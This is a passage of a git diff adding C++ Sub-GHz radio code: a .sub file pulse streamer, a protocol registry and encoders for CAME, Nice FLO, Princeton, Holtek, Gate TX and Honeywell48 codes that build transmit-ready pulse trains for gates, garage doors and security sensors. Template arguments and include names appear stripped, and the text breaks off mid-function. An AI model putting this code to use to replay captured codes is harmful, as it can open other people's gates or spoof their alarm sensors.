+public: + StreamingPulsePayload() + : repeatCount(0), currentRepeat(0), rawDataStartPos(0), + currentLinePos(0), parsingLine(false) {} + + /** + * Initialize streaming from file + * @param filePath Full path to .sub file + * @param repeatCount Number of times to repeat signal + * @return true if successful + */ + bool init(const char* filePath, uint32_t repeatCount); + + /** + * Get next pulse + * @param duration Output: pulse duration in microseconds + * @param pinState Output: pin state (HIGH/LOW) + * @return true if pulse available, false if done + */ + bool next(uint32_t& duration, bool& pinState); + + /** + * Close file and cleanup + */ + void close(); + + ~StreamingPulsePayload() { + close(); + } + +private: + File file; + uint32_t repeatCount; + uint32_t currentRepeat; + size_t rawDataStartPos; // File position where RAW_Data starts + + // Line parsing state + String currentLine; + size_t currentLinePos; + bool parsingLine; + + /** + * Find and seek to RAW_Data section in file + * @return true if found + */ + bool findRawDataStart(); + + /** + * Read next RAW_Data line + * @return true if line found + */ + bool readNextRawDataLine(); + + /** + * Parse next integer from current line + * @param value Output: parsed value + * @return true if integer parsed + */ + bool parseNextIntFromLine(int32_t& value); +}; + +#endif // STREAMING_PULSE_PAYLOAD_H + diff --git a/lib/subghz/SubGhzProtocol.cpp b/lib/subghz/SubGhzProtocol.cpp new file mode 100644 index 0000000..db60293 --- /dev/null +++ b/lib/subghz/SubGhzProtocol.cpp @@ -0,0 +1,72 @@ +#include "SubGhzProtocol.h" +#include + +SubGhzProtocolRegistry& SubGhzProtocolRegistry::instance() { + static SubGhzProtocolRegistry instance; + return instance; +} + +void SubGhzProtocolRegistry::registerProtocol(const std::string &name, std::unique_ptr (*creator)()) { + registry[name] = creator; +} + +SubGhzProtocol* SubGhzProtocolRegistry::create(const std::string &name) { + auto it = registry.find(name); + if (it != registry.end()) { + return it->second().release(); + } + return nullptr; +} + +SubGhzProtocol* SubGhzProtocol::create(const std::string &name) { + return SubGhzProtocolRegistry::instance().create(name); +} + +void SubGhzProtocol::registerProtocol(const std::string &name, std::unique_ptr (*creator)()) { + SubGhzProtocolRegistry::instance().registerProtocol(name, creator); +} + +void SubGhzProtocolRegistry::printRegisteredProtocols() const { + Serial.println("Registered protocols:"); + for (const auto& entry : registry) { + Serial.println(entry.first.c_str()); + } +} + +bool hexCharToUint8(char high, char low, uint8_t &value) { + auto hexValue = [](char c) -> uint8_t { + if (c >= '0' && c <= '9') return c - '0'; + if (c >= 'A' && c <= 'F') return c - 'A' + 10; + if (c >= 'a' && c <= 'f') return c - 'a' + 10; + return 0; + }; + + value = (hexValue(high) << 4) | hexValue(low); + return true; +} + +bool SubGhzProtocol::readHexKey(const std::string &value, uint64_t &result) { + const char* hexStr = value.c_str(); + hexStr += strspn(hexStr, " \t"); // Skip any spaces or tabs + + uint8_t byteValue; + result = 0; + + while (*hexStr && *(hexStr + 1)) { + if (hexCharToUint8(*hexStr, *(hexStr + 1), byteValue)) { + result = (result << 8) | byteValue; + } + hexStr += 2; + hexStr += strspn(hexStr, " \t"); // Skip any spaces or tabs between hex pairs + } + + return true; +} + +bool SubGhzProtocol::readUint32Decimal(const std::string &value, uint32_t &result) { + const char* valueStr = value.c_str(); + valueStr += strspn(valueStr, " \t"); // Skip any spaces or tabs + + result = strtoul(valueStr, nullptr, 10); + return true; +} \ No newline at end of file diff --git a/lib/subghz/SubGhzProtocol.h b/lib/subghz/SubGhzProtocol.h new file mode 100644 index 0000000..71e3e9c --- /dev/null +++ b/lib/subghz/SubGhzProtocol.h @@ -0,0 +1,41 @@ +#ifndef SUB_GHZ_PROTOCOL_H +#define SUB_GHZ_PROTOCOL_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Base SubGhzProtocol class +class SubGhzProtocol { +public: + virtual ~SubGhzProtocol() {} + virtual bool parse(File &file) = 0; + virtual std::vector> getPulseData() const = 0; // Marked as const + virtual uint32_t getRepeatCount() const = 0; // Marked as const + virtual std::string serialize() const = 0; // Marked as const + + static SubGhzProtocol* create(const std::string &name); + static void registerProtocol(const std::string &name, std::unique_ptr (*creator)()); + bool readHexKey(const std::string &value, uint64_t &result); + bool readUint32Decimal(const std::string &value, uint32_t &result); +}; + +// Registry to manage protocols +class SubGhzProtocolRegistry { +public: + static SubGhzProtocolRegistry& instance(); + void registerProtocol(const std::string &name, std::unique_ptr (*creator)()); + SubGhzProtocol* create(const std::string &name); + void printRegisteredProtocols() const; + +private: + std::unordered_map (*)(void)> registry; +}; + +#endif // SUB_GHZ_PROTOCOL_H diff --git a/lib/subghz/protocols/BinRAW.cpp b/lib/subghz/protocols/BinRAW.cpp new file mode 100644 index 0000000..0367655 --- /dev/null +++ b/lib/subghz/protocols/BinRAW.cpp @@ -0,0 +1,81 @@ +#include "BinRAW.h" +#include + +bool BinRAWProtocol::parse(File &file) { + pulseData.clear(); + std::string line; + uint32_t bitRaw = 0; + std::vector rawData; + + while (file.available()) { + line = file.readStringUntil('\n').c_str(); + + if (line.find("Bit:") != std::string::npos) { + std::istringstream iss(line.substr(line.find("Bit:") + 4)); + iss >> bitCount; + } else if (line.find("TE:") != std::string::npos) { + std::istringstream iss(line.substr(line.find("TE:") + 3)); + iss >> te; + } else if (line.find("Bit_RAW:") != std::string::npos) { + std::istringstream iss(line.substr(line.find("Bit_RAW:") + 8)); + iss >> bitRaw; + } else if (line.find("Data_RAW:") != std::string::npos) { + std::istringstream iss(line.substr(line.find("Data_RAW:") + 9)); + uint32_t byte; + while (iss >> std::hex >> byte) { + rawData.push_back(static_cast(byte)); + } + generatePulseData(rawData, bitRaw, te); + rawData.clear(); + } + } + return true; +} + +std::vector> BinRAWProtocol::getPulseData() const { + return pulseData; +} + +uint32_t BinRAWProtocol::getRepeatCount() const { + return 1; +} + +std::string BinRAWProtocol::serialize() const { + std::ostringstream oss; + oss << "Protocol: BinRAW\n"; + oss << "Bit: " << bitCount << "\n"; + oss << "TE: " << te << "\n"; + oss << "Bit_RAW: " << pulseData.size() / 2 << "\n"; // Assuming pulseData is always even + oss << "Data_RAW:"; + for (const auto& pulse : pulseData) { + int32_t duration = pulse.second ? static_cast(pulse.first) : -static_cast(pulse.first); + oss << " " << std::hex << duration; + } + return oss.str(); +} + +void BinRAWProtocol::generatePulseData(const std::vector& rawData, uint32_t bitRaw, uint32_t te) const { + bool currentState = false; + uint32_t currentDuration = 0; + + for (uint32_t i = 0; i < bitRaw; ++i) { + bool bit = (rawData[i / 8] >> (7 - (i % 8))) & 0x01; + if (bit == currentState) { + currentDuration += te; + } else { + if (currentDuration > 0) { + pulseData.emplace_back(currentDuration, currentState); + } + currentState = bit; + currentDuration = te; + } + } + // Add the last pulse if it exists + if (currentDuration > 0) { + pulseData.emplace_back(currentDuration, currentState); + } +} + +std::unique_ptr createBinRAWProtocol() { + return std::make_unique(); +} diff --git a/lib/subghz/protocols/BinRAW.h b/lib/subghz/protocols/BinRAW.h new file mode 100644 index 0000000..7dcb188 --- /dev/null +++ b/lib/subghz/protocols/BinRAW.h @@ -0,0 +1,29 @@ +#ifndef BinRAW_Protocol_h +#define BinRAW_Protocol_h + +#include "SubGhzProtocol.h" +#include "compatibility.h" +#include +#include +#include +#include + +class BinRAWProtocol : public SubGhzProtocol { +public: + bool parse(File &file) override; + std::vector> getPulseData() const override; // Marked as const + uint32_t getRepeatCount() const override; // Marked as const + std::string serialize() const override; // Marked as const + +private: + mutable std::vector> pulseData; // Mutable to allow modification in const context + void generatePulseData(const std::vector& rawData, uint32_t bitRaw, uint32_t te) const; // Marked as const + + uint32_t bitCount = 0; + uint32_t te = 0; +}; + +// Factory function +std::unique_ptr createBinRAWProtocol(); + +#endif // BinRAW_Protocol_h diff --git a/lib/subghz/protocols/CAME.cpp b/lib/subghz/protocols/CAME.cpp new file mode 100644 index 0000000..b684617 --- /dev/null +++ b/lib/subghz/protocols/CAME.cpp @@ -0,0 +1,140 @@ +#include "CAME.h" + +bool CAMEProtocol::parse(File &file) { + char buffer[256]; + while (file.available()) { + int len = file.readBytesUntil('\n', buffer, sizeof(buffer)); + buffer[len] = '\0'; + std::string line(buffer); + + std::istringstream iss(line); + std::string key, value; + if (std::getline(iss, key, ':') && std::getline(iss, value)) { + key = key.substr(0, key.find_first_of(" \t")); + value = value.substr(value.find_first_not_of(" \t")); + + if (key == "Button") { + uint64_t parsed; + if (readHexKey(value, parsed)) { + this->button = parsed; + } + } else if (key == "Serial") { + uint64_t parsed; + if (readHexKey(value, parsed)) { + this->serial = parsed; + } + } else if (key == "TE") { + uint32_t te; + if (readUint32Decimal(value, te)) { + this->te = te; + } + } else if (key == "Repeat") { + uint32_t repeat; + if (readUint32Decimal(value, repeat)) { + this->repeat = repeat; + } + } else if (key == "Bit") { + uint32_t bit; + if (readUint32Decimal(value, bit)) { + this->bit_count = (uint16_t)bit; + } + } + } + } + + // Default TE if not specified (common CAME timing) + if (te == 0) { + te = 370; // 370us typical for CAME + } + + // Default repeat if not specified + if (repeat == 0) { + repeat = 5; // CAME typically repeats 5 times + } + + return (button != 0 || serial != 0) && te != 0; +} + +void CAMEProtocol::encodeBit(bool bit, std::vector>& pulses) const { + // CAME uses Manchester-like encoding + // 0 = short high + long low + // 1 = long high + short low + if (bit) { + // Bit 1: long high (3*TE), short low (TE) + pulses.push_back(std::make_pair(te * 3, true)); + pulses.push_back(std::make_pair(te, false)); + } else { + // Bit 0: short high (TE), long low (3*TE) + pulses.push_back(std::make_pair(te, true)); + pulses.push_back(std::make_pair(te * 3, false)); + } +} + +std::vector> CAMEProtocol::getPulseData() const { + if (pulseData.empty()) { + generatePulseData(); + } + return pulseData; +} + +void CAMEProtocol::generatePulseData() const { + pulseData.clear(); + + if (te == 0) { + return; + } + + // Calculate bit count if not specified + uint16_t totalBits = bit_count; + if (totalBits == 0) { + // Estimate: button (4 bits) + serial (24 bits) = 28 bits typical + totalBits = 28; + } + + // Generate preamble: 4 long pulses + for (int i = 0; i < 4; i++) { + pulseData.push_back(std::make_pair(te * 4, true)); + pulseData.push_back(std::make_pair(te * 4, false)); + } + + // Encode button (usually 4 bits, least significant first) + uint64_t data = (serial << 4) | (button & 0x0F); + + // Encode all bits + for (int i = totalBits - 1; i >= 0; i--) { + bool bit = (data >> i) & 0x01; + encodeBit(bit, pulseData); + } + + // Sync bit + pulseData.push_back(std::make_pair(te, true)); + pulseData.push_back(std::make_pair(te * 4, false)); +} + +uint32_t CAMEProtocol::getRepeatCount() const { + return repeat > 0 ? repeat : 5; +} + +std::string CAMEProtocol::serialize() const { + std::ostringstream oss; + if (bit_count > 0) { + oss << "Bit: " << bit_count << "\r\n"; + } + if (button != 0) { + oss << "Button: " << std::hex << button << "\r\n"; + } + if (serial != 0) { + oss << "Serial: " << std::hex << serial << "\r\n"; + } + if (te > 0) { + oss << "TE: " << te << "\r\n"; + } + oss << "Repeat: " << getRepeatCount() << "\n"; + return oss.str(); +} + +std::unique_ptr createCAMEProtocol() { + return std::make_unique(); +} + + diff --git a/lib/subghz/protocols/CAME.h b/lib/subghz/protocols/CAME.h new file mode 100644 index 0000000..10a8ce7 --- /dev/null +++ b/lib/subghz/protocols/CAME.h @@ -0,0 +1,39 @@ +#ifndef CAME_PROTOCOL_H +#define CAME_PROTOCOL_H + +#include "SubGhzProtocol.h" +#include "compatibility.h" +#include + +/** + * CAME protocol decoder + * Used for garage doors, gates (popular in Europe) + * Format: Button code + Serial number + */ +class CAMEProtocol : public SubGhzProtocol { +public: + bool parse(File &file) override; + std::vector> getPulseData() const override; + uint32_t getRepeatCount() const override; + std::string serialize() const override; + +private: + uint64_t button = 0; // Button code (usually 4-8 bits) + uint64_t serial = 0; // Serial number (usually 20-28 bits) + uint32_t te = 0; // Timing element in microseconds + uint32_t repeat = 0; // Repeat count + uint16_t bit_count = 0; // Total bit count + + mutable std::vector> pulseData; + void generatePulseData() const; + + // Helper to encode bit in CAME format (Manchester-like) + void encodeBit(bool bit, std::vector>& pulses) const; +}; + +// Factory function +std::unique_ptr createCAMEProtocol(); + +#endif // CAME_PROTOCOL_H + + diff --git a/lib/subghz/protocols/GateTX.cpp b/lib/subghz/protocols/GateTX.cpp new file mode 100644 index 0000000..0024137 --- /dev/null +++ b/lib/subghz/protocols/GateTX.cpp @@ -0,0 +1,119 @@ +#include "GateTX.h" + +bool GateTXProtocol::parse(File &file) { + char buffer[256]; + while (file.available()) { + int len = file.readBytesUntil('\n', buffer, sizeof(buffer)); + buffer[len] = '\0'; + std::string line(buffer); + + std::istringstream iss(line); + std::string key, value; + if (std::getline(iss, key, ':') && std::getline(iss, value)) { + key = key.substr(0, key.find_first_of(" \t")); + value = value.substr(value.find_first_not_of(" \t")); + + if (key == "Data" || key == "Key") { + uint64_t parsed; + if (readHexKey(value, parsed)) { + this->data = parsed; + } + } else if (key == "TE") { + uint32_t te; + if (readUint32Decimal(value, te)) { + this->te = te; + } + } else if (key == "Repeat") { + uint32_t repeat; + if (readUint32Decimal(value, repeat)) { + this->repeat = repeat; + } + } else if (key == "Bit") { + uint32_t bit; + if (readUint32Decimal(value, bit)) { + this->bit_count = (uint16_t)bit; + } + } + } + } + + if (te == 0) { + te = 500; // 500us typical for Gate TX + } + + if (repeat == 0) { + repeat = 4; + } + + return data != 0 && te != 0; +} + +void GateTXProtocol::encodeBit(bool bit, std::vector>& pulses) const { + // Gate TX simple encoding + if (bit) { + pulses.push_back(std::make_pair(te * 2, true)); + pulses.push_back(std::make_pair(te, false)); + } else { + pulses.push_back(std::make_pair(te, true)); + pulses.push_back(std::make_pair(te * 2, false)); + } +} + +std::vector> GateTXProtocol::getPulseData() const { + if (pulseData.empty()) { + generatePulseData(); + } + return pulseData; +} + +void GateTXProtocol::generatePulseData() const { + pulseData.clear(); + + if (te == 0) { + return; + } + + uint16_t totalBits = bit_count; + if (totalBits == 0) { + totalBits = 24; // Default 24 bits + } + + // Preamble + for (int i = 0; i < 2; i++) { + pulseData.push_back(std::make_pair(te * 4, true)); + pulseData.push_back(std::make_pair(te * 4, false)); + } + + // Encode data + for (int i = totalBits - 1; i >= 0; i--) { + bool bit = (data >> i) & 0x01; + encodeBit(bit, pulseData); + } + + // Footer + pulseData.push_back(std::make_pair(te * 2, true)); + pulseData.push_back(std::make_pair(te * 8, false)); +} + +uint32_t GateTXProtocol::getRepeatCount() const { + return repeat > 0 ? repeat : 4; +} + +std::string GateTXProtocol::serialize() const { + std::ostringstream oss; + if (bit_count > 0) { + oss << "Bit: " << bit_count << "\r\n"; + } + oss << "Data: " << std::hex << data << "\r\n"; + if (te > 0) { + oss << "TE: " << te << "\r\n"; + } + oss << "Repeat: " << getRepeatCount() << "\n"; + return oss.str(); +} + +std::unique_ptr createGateTXProtocol() { + return std::make_unique(); +} + + diff --git a/lib/subghz/protocols/GateTX.h b/lib/subghz/protocols/GateTX.h new file mode 100644 index 0000000..6752d1c --- /dev/null +++ b/lib/subghz/protocols/GateTX.h @@ -0,0 +1,34 @@ +#ifndef GATETX_PROTOCOL_H +#define GATETX_PROTOCOL_H + +#include "SubGhzProtocol.h" +#include "compatibility.h" +#include + +/** + * Gate TX protocol decoder + * Universal gate/garage door protocol + */ +class GateTXProtocol : public SubGhzProtocol { +public: + bool parse(File &file) override; + std::vector> getPulseData() const override; + uint32_t getRepeatCount() const override; + std::string serialize() const override; + +private: + uint64_t data = 0; // Combined data + uint32_t te = 0; + uint32_t repeat = 0; + uint16_t bit_count = 0; + + mutable std::vector> pulseData; + void generatePulseData() const; + void encodeBit(bool bit, std::vector>& pulses) const; +}; + +std::unique_ptr createGateTXProtocol(); + +#endif // GATETX_PROTOCOL_H + + diff --git a/lib/subghz/protocols/Holtek.cpp b/lib/subghz/protocols/Holtek.cpp new file mode 100644 index 0000000..612d5e7 --- /dev/null +++ b/lib/subghz/protocols/Holtek.cpp @@ -0,0 +1,117 @@ +#include "Holtek.h" + +bool HoltekProtocol::parse(File &file) { + char buffer[256]; + while (file.available()) { + int len = file.readBytesUntil('\n', buffer, sizeof(buffer)); + buffer[len] = '\0'; + std::string line(buffer); + + std::istringstream iss(line); + std::string key, value; + if (std::getline(iss, key, ':') && std::getline(iss, value)) { + key = key.substr(0, key.find_first_of(" \t")); + value = value.substr(value.find_first_not_of(" \t")); + + if (key == "Address") { + uint64_t parsed; + if (readHexKey(value, parsed)) { + this->address = (uint16_t)(parsed & 0xFFF); + } + } else if (key == "Data") { + uint64_t parsed; + if (readHexKey(value, parsed)) { + this->data = (uint8_t)(parsed & 0xF); + } + } else if (key == "TE") { + uint32_t te; + if (readUint32Decimal(value, te)) { + this->te = te; + } + } else if (key == "Repeat") { + uint32_t repeat; + if (readUint32Decimal(value, repeat)) { + this->repeat = repeat; + } + } + } + } + + if (te == 0) { + te = 500; // 500us typical for Holtek + } + + if (repeat == 0) { + repeat = 5; + } + + return address != 0 && te != 0; +} + +void HoltekProtocol::encodeBit(bool bit, std::vector>& pulses) const { + // Holtek encoding: 0 = short high + long low, 1 = long high + short low + if (bit) { + pulses.push_back(std::make_pair(te * 3, true)); + pulses.push_back(std::make_pair(te, false)); + } else { + pulses.push_back(std::make_pair(te, true)); + pulses.push_back(std::make_pair(te * 3, false)); + } +} + +std::vector> HoltekProtocol::getPulseData() const { + if (pulseData.empty()) { + generatePulseData(); + } + return pulseData; +} + +void HoltekProtocol::generatePulseData() const { + pulseData.clear(); + + if (te == 0) { + return; + } + + // Sync bit + pulseData.push_back(std::make_pair(te * 12, true)); + pulseData.push_back(std::make_pair(te * 4, false)); + + // Encode 12-bit address (MSB first) + for (int i = 11; i >= 0; i--) { + bool bit = (address >> i) & 0x01; + encodeBit(bit, pulseData); + } + + // Encode 4-bit data (MSB first) + for (int i = 3; i >= 0; i--) { + bool bit = (data >> i) & 0x01; + encodeBit(bit, pulseData); + } + + // End bit + pulseData.push_back(std::make_pair(te, true)); + pulseData.push_back(std::make_pair(te * 10, false)); +} + +uint32_t HoltekProtocol::getRepeatCount() const { + return repeat > 0 ? repeat : 5; +} + +std::string HoltekProtocol::serialize() const { + std::ostringstream oss; + oss << "Bit: 16\r\n"; // 12 address + 4 data + oss << "Address: " << std::hex << address << "\r\n"; + oss << "Data: " << std::hex << (int)data << "\r\n"; + if (te > 0) { + oss << "TE: " << te << "\r\n"; + } + oss << "Repeat: " << getRepeatCount() << "\n"; + return oss.str(); +} + +std::unique_ptr createHoltekProtocol() { + return std::make_unique(); +} + + diff --git a/lib/subghz/protocols/Holtek.h b/lib/subghz/protocols/Holtek.h new file mode 100644 index 0000000..793a405 --- /dev/null +++ b/lib/subghz/protocols/Holtek.h @@ -0,0 +1,35 @@ +#ifndef HOLTEK_PROTOCOL_H +#define HOLTEK_PROTOCOL_H + +#include "SubGhzProtocol.h" +#include "compatibility.h" +#include + +/** + * Holtek HT12X protocol decoder + * Common in Chinese-made remote controls + * 12-bit address + 4-bit data format + */ +class HoltekProtocol : public SubGhzProtocol { +public: + bool parse(File &file) override; + std::vector> getPulseData() const override; + uint32_t getRepeatCount() const override; + std::string serialize() const override; + +private: + uint16_t address = 0; // 12-bit address + uint8_t data = 0; // 4-bit data + uint32_t te = 0; + uint32_t repeat = 0; + + mutable std::vector> pulseData; + void generatePulseData() const; + void encodeBit(bool bit, std::vector>& pulses) const; +}; + +std::unique_ptr createHoltekProtocol(); + +#endif // HOLTEK_PROTOCOL_H + + diff --git a/lib/subghz/protocols/Honeywell48.cpp b/lib/subghz/protocols/Honeywell48.cpp new file mode 100644 index 0000000..b06247f --- /dev/null +++ b/lib/subghz/protocols/Honeywell48.cpp @@ -0,0 +1,133 @@ +#include "Honeywell48.h" + +static std::pair level_duration_make(bool level, uint32_t duration) { + return std::make_pair(duration, level); +} + +bool Honeywell48Protocol::parse(File &file) { + char buffer[256]; + while (file.available()) { + int len = file.readBytesUntil('\n', buffer, sizeof(buffer)); + buffer[len] = '\0'; + std::string line(buffer); + + std::istringstream iss(line); + std::string key, value; + if (std::getline(iss, key, ':') && std::getline(iss, value)) { + key = key.substr(0, key.find_first_of(" \t")); + value = value.substr(value.find_first_not_of(" \t")); + + if (key == "Key") { + uint64_t parsedKey; + if (!readHexKey(value, parsedKey)) { + return false; + } + // Mask to 48 bits + this->key = parsedKey & 0xFFFFFFFFFFFFULL; + } else if (key == "TE") { + uint32_t te; + if (!readUint32Decimal(value, te)) { + return false; + } + this->te = te; + } else if (key == "Repeat") { + uint32_t repeat; + if (!readUint32Decimal(value, repeat)) { + return false; + } + this->repeat = repeat; + } else if (key == "Guard_time") { + uint32_t g_time; + if (readUint32Decimal(value, g_time)) { + this->guard_time = g_time; + } + } + } + } + + // Default values if not specified + if (te == 0) { + te = 500; // 500us typical for Honeywell + } + if (repeat == 0) { + repeat = 5; // Default 5 repeats + } + if (guard_time == 0) { + guard_time = 30; // Default guard time multiplier + } + + return (this->key != 0 && this->te != 0); +} + +void Honeywell48Protocol::encodeBit(bool bit, std::vector>& pulses) const { + // Honeywell uses Manchester encoding: + // 0 = low-high (short low, long high) + // 1 = high-low (long high, short low) + // Or OOK encoding (depending on variant): + // 0 = short pulse + // 1 = long pulse + + // Using Manchester-like encoding similar to Princeton + if (bit) { + // Bit 1: long high, short low + pulses.push_back(level_duration_make(true, te * 3)); + pulses.push_back(level_duration_make(false, te)); + } else { + // Bit 0: short high, long low + pulses.push_back(level_duration_make(true, te)); + pulses.push_back(level_duration_make(false, te * 3)); + } +} + +std::vector> Honeywell48Protocol::getPulseData() const { + if (pulseData.empty()) { + generatePulseData(); + } + return pulseData; +} + +void Honeywell48Protocol::generatePulseData() const { + pulseData.clear(); + + if (te == 0 || key == 0) { + return; + } + + // Sync/preamble bits (typical for Honeywell) + // Long sync pulse + pulseData.push_back(level_duration_make(true, te * 12)); + pulseData.push_back(level_duration_make(false, te * 4)); + + // Encode 48 bits (MSB first) + for (int i = 47; i >= 0; --i) { + bool bit = (key >> i) & 0x01; + encodeBit(bit, pulseData); + } + + // Stop bit + pulseData.push_back(level_duration_make(true, te)); + + // Guard time + pulseData.push_back(level_duration_make(false, te * guard_time)); +} + +uint32_t Honeywell48Protocol::getRepeatCount() const { + return repeat > 0 ? repeat : 5; +} + +std::string Honeywell48Protocol::serialize() const { + std::ostringstream oss; + oss << "Bit: 48\r\n"; + oss << "Key: " << std::hex << key << "\r\n"; + oss << "TE: " << te << "\r\n"; + if (guard_time > 0) { + oss << "Guard_time: " << guard_time << "\r\n"; + } + oss << "Repeat: " << getRepeatCount() << "\n"; + return oss.str(); +} + +std::unique_ptr createHoneywell48Protocol() { + return std::make_unique(); +} + diff --git a/lib/subghz/protocols/Honeywell48.h b/lib/subghz/protocols/Honeywell48.h new file mode 100644 index 0000000..5de534b --- /dev/null +++ b/lib/subghz/protocols/Honeywell48.h @@ -0,0 +1,34 @@ +#ifndef HONEYWELL48_PROTOCOL_H +#define HONEYWELL48_PROTOCOL_H + +#include "SubGhzProtocol.h" +#include "compatibility.h" +#include + +/** + * Honeywell 48-bit protocol decoder/encoder + * Used in Honeywell wireless security sensors + * 48-bit data format with Manchester encoding + */ +class Honeywell48Protocol : public SubGhzProtocol { +public: + bool parse(File &file) override; + std::vector> getPulseData() const override; + uint32_t getRepeatCount() const override; + std::string serialize() const override; + +private: + uint64_t key = 0; // 48-bit key/data + uint32_t te = 0; // Timing element (pulse width in microseconds) + uint32_t repeat = 0; // Number of repeats + uint32_t guard_time = 0; // Guard time between packets + + mutable std::vector> pulseData; + void generatePulseData() const; + void encodeBit(bool bit, std::vector>& pulses) const; +}; + +std::unique_ptr createHoneywell48Protocol(); + +#endif // HONEYWELL48_PROTOCOL_H + diff --git a/lib/subghz/protocols/NiceFlo.cpp b/lib/subghz/protocols/NiceFlo.cpp new file mode 100644 index 0000000..9709285 --- /dev/null +++ b/lib/subghz/protocols/NiceFlo.cpp @@ -0,0 +1,129 @@ +#include "NiceFlo.h" + +bool NiceFloProtocol::parse(File &file) { + char buffer[256]; + while (file.available()) { + int len = file.readBytesUntil('\n', buffer, sizeof(buffer)); + buffer[len] = '\0'; + std::string line(buffer); + + std::istringstream iss(line); + std::string key, value; + if (std::getline(iss, key, ':') && std::getline(iss, value)) { + key = key.substr(0, key.find_first_of(" \t")); + value = value.substr(value.find_first_not_of(" \t")); + + if (key == "Button") { + uint64_t parsed; + if (readHexKey(value, parsed)) { + this->button = parsed; + } + } else if (key == "Serial") { + uint64_t parsed; + if (readHexKey(value, parsed)) { + this->serial = parsed; + } + } else if (key == "TE") { + uint32_t te; + if (readUint32Decimal(value, te)) { + this->te = te; + } + } else if (key == "Repeat") { + uint32_t repeat; + if (readUint32Decimal(value, repeat)) { + this->repeat = repeat; + } + } else if (key == "Bit") { + uint32_t bit; + if (readUint32Decimal(value, bit)) { + this->bit_count = (uint16_t)bit; + } + } + } + } + + if (te == 0) { + te = 320; // 320us typical for Nice FLO + } + + if (repeat == 0) { + repeat = 3; + } + + return (button != 0 || serial != 0) && te != 0; +} + +void NiceFloProtocol::encodeBit(bool bit, std::vector>& pulses) const { + // Nice FLO uses different encoding than CAME + if (bit) { + pulses.push_back(std::make_pair(te * 3, true)); + pulses.push_back(std::make_pair(te, false)); + } else { + pulses.push_back(std::make_pair(te, true)); + pulses.push_back(std::make_pair(te * 2, false)); + } +} + +std::vector> NiceFloProtocol::getPulseData() const { + if (pulseData.empty()) { + generatePulseData(); + } + return pulseData; +} + +void NiceFloProtocol::generatePulseData() const { + pulseData.clear(); + + if (te == 0) { + return; + } + + uint16_t totalBits = bit_count; + if (totalBits == 0) { + totalBits = 24; // Typical Nice FLO is 24 bits + } + + // Preamble + pulseData.push_back(std::make_pair(te * 8, true)); + pulseData.push_back(std::make_pair(te * 4, false)); + + // Encode data + uint64_t data = (serial << 4) | (button & 0x0F); + + for (int i = totalBits - 1; i >= 0; i--) { + bool bit = (data >> i) & 0x01; + encodeBit(bit, pulseData); + } + + // Footer + pulseData.push_back(std::make_pair(te, true)); + pulseData.push_back(std::make_pair(te * 6, false)); +} + +uint32_t NiceFloProtocol::getRepeatCount() const { + return repeat > 0 ? repeat : 3; +} + +std::string NiceFloProtocol::serialize() const { + std::ostringstream oss; + if (bit_count > 0) { + oss << "Bit: " << bit_count << "\r\n"; + } + if (button != 0) { + oss << "Button: " << std::hex << button << "\r\n"; + } + if (serial != 0) { + oss << "Serial: " << std::hex << serial << "\r\n"; + } + if (te > 0) { + oss << "TE: " << te << "\r\n"; + } + oss << "Repeat: " << getRepeatCount() << "\n"; + return oss.str(); +} + +std::unique_ptr createNiceFloProtocol() { + return std::make_unique(); +} + + diff --git a/lib/subghz/protocols/NiceFlo.h b/lib/subghz/protocols/NiceFlo.h new file mode 100644 index 0000000..8189e52 --- /dev/null +++ b/lib/subghz/protocols/NiceFlo.h @@ -0,0 +1,36 @@ +#ifndef NICEFLO_PROTOCOL_H +#define NICEFLO_PROTOCOL_H + +#include "SubGhzProtocol.h" +#include "compatibility.h" +#include + +/** + * Nice FLO protocol decoder + * Used for garage doors and gates (popular in Europe) + * Similar to CAME but with different encoding + */ +class NiceFloProtocol : public SubGhzProtocol { +public: + bool parse(File &file) override; + std::vector> getPulseData() const override; + uint32_t getRepeatCount() const override; + std::string serialize() const override; + +private: + uint64_t button = 0; + uint64_t serial = 0; + uint32_t te = 0; + uint32_t repeat = 0; + uint16_t bit_count = 0; + + mutable std::vector> pulseData; + void generatePulseData() const; + void encodeBit(bool bit, std::vector>& pulses) const; +}; + +std::unique_ptr createNiceFloProtocol(); + +#endif // NICEFLO_PROTOCOL_H + + diff --git a/lib/subghz/protocols/Princeton.cpp b/lib/subghz/protocols/Princeton.cpp new file mode 100644 index 0000000..eab86ec --- /dev/null +++ b/lib/subghz/protocols/Princeton.cpp @@ -0,0 +1,106 @@ +#include "Princeton.h" + +std::pair level_duration_make(bool level, uint32_t duration) { + return std::make_pair(duration, level); +} + +bool PrincetonProtocol::parse(File &file) { + char buffer[256]; + while (file.available()) { + int len = file.readBytesUntil('\n', buffer, sizeof(buffer)); + buffer[len] = '\0'; // Null-terminate the buffer + std::string line(buffer); + + std::istringstream iss(line); + std::string key, value; + if (std::getline(iss, key, ':') && std::getline(iss, value)) { + key = key.substr(0, key.find_first_of(" \t")); // Trim key + value = value.substr(value.find_first_not_of(" \t")); // Trim value + + if (key == "Key") { + uint64_t parsedKey; + if (!readHexKey(value, parsedKey)) { + return false; + } + this->key = parsedKey; + } else if (key == "TE") { + uint32_t te; + if (!readUint32Decimal(value, te)) { + return false; + } + this->te = te; + } else if (key == "Repeat") { + uint32_t repeat; + if (!readUint32Decimal(value, repeat)) { + return false; + } + this->repeat = repeat; + } else if (key == "Bit") { + uint32_t bit; + if (!readUint32Decimal(value, bit)) { + return false; + } + this->bit_count = (uint16_t)bit; + } else if (key == "Guard_time") { + uint32_t g_time; + if (readUint32Decimal(value, g_time)) { + if ((g_time >= 15) && (g_time <= 72)) { + + this->guard_time = g_time; + } + } + } + } + } + + return (this->key != 0 && this->te != 0 && this->repeat != 0 && this->bit_count != 0); +} + +std::vector> PrincetonProtocol::getPulseData() const { + if (pulseData.empty()) { + generatePulseData(); + } + return pulseData; +} + +void PrincetonProtocol::generatePulseData() const { + pulseData.clear(); + + size_t index = 0; + size_t payloadSize = (bit_count * 2) + 2; + pulseData.reserve(payloadSize); + + for (int i = bit_count - 1; i >= 0; --i) { + bool bit = (key >> i) & 0x01; + if (bit) { + pulseData.push_back(level_duration_make(true, te * 3)); + pulseData.push_back(level_duration_make(false, te)); + } else { + pulseData.push_back(level_duration_make(true, te)); + pulseData.push_back(level_duration_make(false, te * 3)); + } + } + + // Send Stop bit + pulseData.push_back(level_duration_make(true, te)); + // Send PT_GUARD_TIME + pulseData.push_back(level_duration_make(false, te * guard_time)); +} + +std::string PrincetonProtocol::serialize() const { + std::ostringstream oss; + oss << "Bit: " << bit_count << "\r\n"; + oss << "Key: " << std::hex << key << "\r\n"; + oss << "TE: " << te << "\r\n"; + 